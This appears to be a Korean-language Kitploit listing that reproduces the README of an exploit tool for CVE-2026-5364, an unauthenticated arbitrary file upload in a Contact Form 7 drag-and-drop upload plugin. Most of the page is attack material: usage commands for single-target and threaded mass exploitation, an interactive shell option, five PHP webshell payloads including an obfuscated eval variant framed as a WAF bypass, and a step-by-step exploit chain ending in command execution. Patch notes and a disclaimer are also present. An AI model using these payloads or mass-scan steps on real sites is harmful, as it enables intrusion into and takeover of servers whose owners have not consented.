Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-5364 — CVE-2026-5364는 Contact Form 7용 드래그 앤 드롭 파일 업로드에서 CVSS 8.1(높음)의 인증되지 않은 임의 파일 업로드 취약점입니다. | Kitploit
도구/GitHubGitHub/xxconi/cve-2026-5364
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingPayload Development
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364는 Contact Form 7용 드래그 앤 드롭 파일 업로드에서 CVSS 8.1(높음)의 인증되지 않은 임의 파일 업로드 취약점입니다.

저장소 보기
13개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-5364

CVE-2026-5364는 Contact Form 7용 드래그 앤 드롭 파일 업로드에서 발생하는 CVSS 8.1(높음)의 인증되지 않은 임의 파일 업로드 취약점입니다.

CVE-2026-5364 — CF7 드래그 & 드롭 파일 업로드 RCE

sanitize_file_name() 우회를 통한 인증되지 않은 임의 파일 업로드 CVSS 8.1(높음) | 영향: <= 1.1.3 | 패치: 1.1.4


📋 개요

필드값
CVE IDCVE-2026-5364
플러그인Contact Form 7용 드래그 앤 드롭 파일 업로드
슬러그drag-and-drop-file-upload-for-contact-form-7
CVSS8.1(높음)
벡터CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
영향<= 1.1.3
패치1.1.4
연구자Thomas Sanzey
게시일2026년 4월 23일

🔍 취약점 요약

플러그인은 sanitize_file_name() 정리 전에 파일 확장자를 읽습니다. 공격자는 shell.php$라는 파일을 업로드합니다:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← 블랙리스트 우회
sanitize_file_name('shell.php$')            →  'shell.php'  ← PHP로 저장됨

세 가지 독립적인 취약점 체인:

  1. 공격자 제어 허용 목록 — type POST 매개변수가 사용자로부터 읽힘
  2. 정리 전 확장자 — pathinfo()가 원시 파일 이름에 적용됨
  3. 지연된 정화 — wp_unique_filename() 내부의 sanitize_file_name()이 $ 문자를 제거함

⚙️ 설치

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

요구 사항

  • Python 3.8+
  • requests 라이브러리
  • 대상: WordPress + CF7 D&D Upload <= 1.1.3 + CF7 양식이 있는 페이지

🚀 사용법

단일 대상

root@kitploit:~
# 기본 익스플로잇 (id 명령어)
python CVE-2026-5364.py -u https://target.com

# 사용자 정의 명령어
python CVE-2026-5364.py -u https://target.com -c "whoami"

# 대화형 셸
python CVE-2026-5364.py -u https://target.com --interactive

# 다른 셸 유형
python CVE-2026-5364.py -u https://target.com --shell exec

# 상세 출력 + 프록시
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

일괄 스캔

root@kitploit:~
# 20개 스레드로 스캔
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# 패치된 버전도 시도
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# 결과를 파일로 저장
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

모든 매개변수

root@kitploit:~
대상:
  -u, --url URL         단일 대상 URL
  -l, --list FILE       대상 목록 (줄당 URL)

익스플로잇:
  -c, --cmd CMD         OS 명령어 (기본값: id)
  --shell TYPE          웹쉘 유형: basic|exec|pass|eval|info
  -i, --interactive     대화형 셸 열기
  --no-skip-patched     패치된 버전도 시도

스캔:
  -t, --threads N       스레드 수 (기본값: 10)
  --timeout S           타임아웃 초 (기본값: 15)
  --proxy URL           프록시 주소

출력:
  -o, --output FILE     결과 파일
  -v, --verbose         상세 출력
  --no-color            색상 없는 출력

🐚 웹쉘 유형

유형페이로드용도
basic<?php system($_GET["cmd"]); ?>일반 목적
exec<?php echo shell_exec($_GET["cmd"]); ?>전체 출력
pass<?php passthru($_GET["cmd"]); ?>바이너리 출력
eval<?php @eval(base64_decode($_POST["x"])); ?>은폐/WAF 우회
info<?php phpinfo(); ?>PHP 정보

🔬 기술 세부 사항

익스플로잇 체인

root@kitploit:~
1. Nonce 감지
   └─ wp_localize_script()로 모든 방문자에게 공개
      GET /contact/ → HTML 내 "nonce":"abc123def4"

2. 셸 업로드
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← 블랙리스트에 없음
      file=shell.php$    ← sanitize_file_name() → shell.php

3. URL 획득
   └─ 응답: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

우회 문자

sanitize_file_name()에 의해 제거되는 문자:

root@kitploit:~
$  %  ~  `  (공백)

도구는 모든 우회 문자를 자동으로 시도합니다.


🛡️ 완화 요인

요인영향
Apache .htaccess (Content-Disposition: attachment)PHP 실행 차단
Nginx / LiteSpeed.htaccess 무효 — RCE 가능
임의 파일 이름 (uniqid())AJAX 응답이 URL을 반환하므로 무효
NonceCSRF 보호 — 인증 아님, 무효

🩹 해결 방법

플러그인을 1.1.4 이상 버전으로 업데이트하세요.

root@kitploit:~
# WP-CLI로 업데이트
wp plugin update drag-and-drop-file-upload-for-contact-form-7

코드 수정 (1.1.4)

root@kitploit:~
// 잘못됨 (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// 올바름 (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type 매개변수는 더 이상 POST가 아닌 관리자 설정에서 읽음
$type = $this->get_admin_allowed_types($form_id);

⚠️ 법적 고지

이 도구는 교육 및 방어 목적의 보안 연구만을 위해 개발되었습니다. 허가되지 않은 시스템에서의 사용은 금지되며 법적 결과가 발생할 수 있습니다. 허가를 받은 시스템에서만 사용하세요.


📄 참고 자료

  • Wordfence 권고
  • WordPress 플러그인 페이지
  • NVD CVE-2026-5364
  • sanitize_file_name() 문서
도구 다운로드